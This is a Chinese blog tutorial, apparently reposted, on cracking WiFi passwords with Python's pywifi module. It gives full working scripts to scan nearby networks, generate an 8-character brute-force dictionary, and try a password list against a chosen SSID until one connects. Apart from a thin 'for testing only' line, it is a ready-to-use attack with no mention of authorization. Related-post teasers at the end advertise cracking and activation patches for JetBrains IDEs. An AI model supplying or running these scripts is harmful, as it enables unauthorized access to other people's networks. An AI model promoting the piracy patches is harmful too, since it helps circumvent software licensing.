Python简易WiFi密码破解轻松方案

Python简易WiFi密码破解简易方案

前言

基于对无线网络相关技术的探索,我们可以通过Python来实现简易的WiFi密码破解操作。

实验步骤

利用命令行安装pywifi模块

在命令行中执行以下命令安装pywifi模块:

pip install pywifi

查看pip是否安装成功,执行:

pip -V

一、扫描WiFi模块

通过Python代码来实现WiFi扫描功能,代码如下:

import pywifi
import time

# 初始化pywifi
wifi = pywifi.PyWiFi()

# 获取第一个无线网卡接口
interface = wifi.interfaces()[0]

# 开始扫描
interface.scan()
print('正在扫描WiFi,请稍等………………')

# 等待扫描完成
time.sleep(10)  # 可根据实际情况调整等待时间以确保扫描完成

# 获取扫描结果
scan_results = interface.scan_results()

# 打印扫描结果
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))

index = 0
for result in scan_results:
    # 处理SSID乱码问题
    ssid = result.ssid.encode('raw_unicode_escape').decode('utf-8')
    signal = result.signal
    print('%s\t\t\t%s\t\t\t%s' % (index, signal, ssid))
    index += 1

print('\n' + '*' * 50)

二、爆破字典

1. 生成字典

自己生成密码字典不建议(大约有100G左右,生成时间较长),以下是生成字典的脚本示例:

import itertools as its
import datetime

# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'  # 包含大小写字母和数字的组合
# words = '0123456789' # 纯数字组合
# 生成密码的位数
r = its.product(words, repeat=8)  # 这里生成8位密码,通常热点密码为8位
dic = open(r"C:\Users\11759\Desktop\alphabetPass.txt", 'a')  # alphabetPass.txt为密码本名称
for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成完毕')
end = datetime.datetime.now()
print("生成密码本总共花费时间:{}".format(end - start))
2. 下载字典

可通过以下途径下载字典:
- 迅雷下载
- Gitee下载

三、爆破脚本

以下是爆破脚本,其中已对需要修改的部分进行注释:

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime

# 全局初始化,避免重复创建实例
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0] if wifi.interfaces() else None


def wifi_connect(pwd):
    if not iface:
        print("未找到无线网卡!")
        return False

    # 断开当前连接
    iface.disconnect()
    time.sleep(1)

    # 确保网卡处于断开状态
    if iface.status() != const.IFACE_DISCONNECTED:
        print("无法断开当前连接")
        return False

    # 创建新的配置文件
    profile = pywifi.Profile()
    profile.ssid = "iPhone1"  # 请修改为你的WiFi名称
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = pwd.strip()  # 去除密码前后的空格和换行符

    # 清理旧配置
    iface.remove_all_network_profiles()

    try:
        # 添加新配置并尝试连接
        tmp_profile = iface.add_network_profile(profile)
        iface.connect(tmp_profile)

        # 增加连接等待时间(可根据网络响应调整)
        time.sleep(5)

        return iface.status() == const.IFACE_CONNECTED
    except Exception as e:
        print(f"连接时发生异常: {e}")
        return False


def read_password():
    print("开始破解...")
    path = r"C:\Users\Administrator\Desktop\py项目\WiFi爆破\wpa-dictionary-master\common.txt"  # 请修改为你字典所在位置

    try:
        with open(path, "r") as f:
            passwords = [line.strip() for line in f.readlines() if line.strip()]
    except Exception as e:
        print(f"无法读取密码文件: {e}")
        return

    total = len(passwords)
    start_time = datetime.datetime.now()

    for idx, pwd in enumerate(passwords, 1):
        print(f"尝试进度: {idx}/{total} | 当前密码: {pwd}")

        # 增加重试机制
        retry = 0
        while retry < 2:  # 最多重试2次
            if wifi_connect(pwd):
                print(f"\n破解成功!密码为: {pwd}")
                print(f"总耗时: {datetime.datetime.now() - start_time}")
                return
            else:
                retry += 1
                time.sleep(2)  # 失败后等待2秒再重试

    print("\n密码字典无匹配项!")

if __name__ == "__main__":
    read_password()

完整代码及字典可通过以下链接下载:
- 迅雷下载

文章整理自互联网,只做测试使用。发布者:Lomu,转转请注明出处:https://www.it1024doc.com/13605.html

(0)
LomuLomu
上一篇 2025 年 9 月 18 日
下一篇 2025 年 9 月 18 日

相关推荐

  • GoLand激活失败还能重新安装破解工具吗?

    免责声明:以下补丁与激活码均源自网络公开资源,仅供个人学习研究,禁止商业用途。若条件允许,请支持正版 JetBrains 全家桶! GoLand 是 JetBrains 专为 Go 开发者打造的 IDE,跨平台支持 Windows、macOS 与 Linux。本文将手把手教你用破解补丁一键永久激活,解锁全部高级特性。 无论你当前系统或版本如何,下文都已为你整…

    2025 年 9 月 9 日
    13800
  • PyCharm激活太难了?试试这套傻瓜式激活法!

    申明:本教程Pycharm 破解补丁、激活码均收集于网络,请勿商用,仅供个人学习使用,如有侵权,请联系作者删除。若条件允许,希望大家购买正版 ! 废话不多说,先上 Pycharm2025.2.1 版本破解成功的截图,如下图,可以看到已经成功破解到 2099 年辣,舒服的很! 接下来就给大家通过图文的方式分享一下如何破解最新的Pycharm。 如果觉得破解麻烦…

    2025 年 9 月 29 日
    10800
  • GoLand破解版安装步骤详解,适合小白入门!

    声明:以下教程中提到的 GoLand 破解补丁、激活码均来自互联网公开渠道,仅供个人学习研究,禁止商业用途。若条件允许,请支持正版! 先放一张成果图:GoLand 2025.2.1 已顺利激活到 2099 年,稳! 下面用图文方式,手把手带你完成最新版 GoLand 的激活流程。 前期准备 ⚠️ 如果你之前尝试过其他破解方案失败,建议先卸载干净再重装,或手动…

    2025 年 9 月 8 日
    13400
  • 2025最新PyCharm永久激活码及破解教程(亲测有效2099年)🔥

    本教程适用于JetBrains全家桶(IDEA、PyCharm、DataGrip、Goland等)所有产品!💯 先给大家看看最新PyCharm版本破解成功的实锤截图👇 有效期直接拉到2099年,简直不要太爽! 下面我就手把手教大家如何轻松激活PyCharm,这个方法通杀所有版本,无论你是: 🖥️ Windows用户 🍎 Mac用户 🐧 Linux用户 统统适…

    2025 年 5 月 13 日
    1.4K00
  • 2025年最新PyCharm激活码及永久破解教程(支持2099年)

    本方法适用于Jetbrains全家桶,包括PyCharm、IDEA、DataGrip、Goland等开发工具! 先给大家展示最新PyCharm版本成功破解的截图,可以看到已经完美激活至2099年,非常稳定可靠! 下面将用详细的图文步骤,手把手教你如何将PyCharm永久激活至2099年。 这个方法不仅适用于最新版本,对旧版本也同样有效! 兼容所有操作系统:W…

    PyCharm激活码 2025 年 7 月 9 日
    30800

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信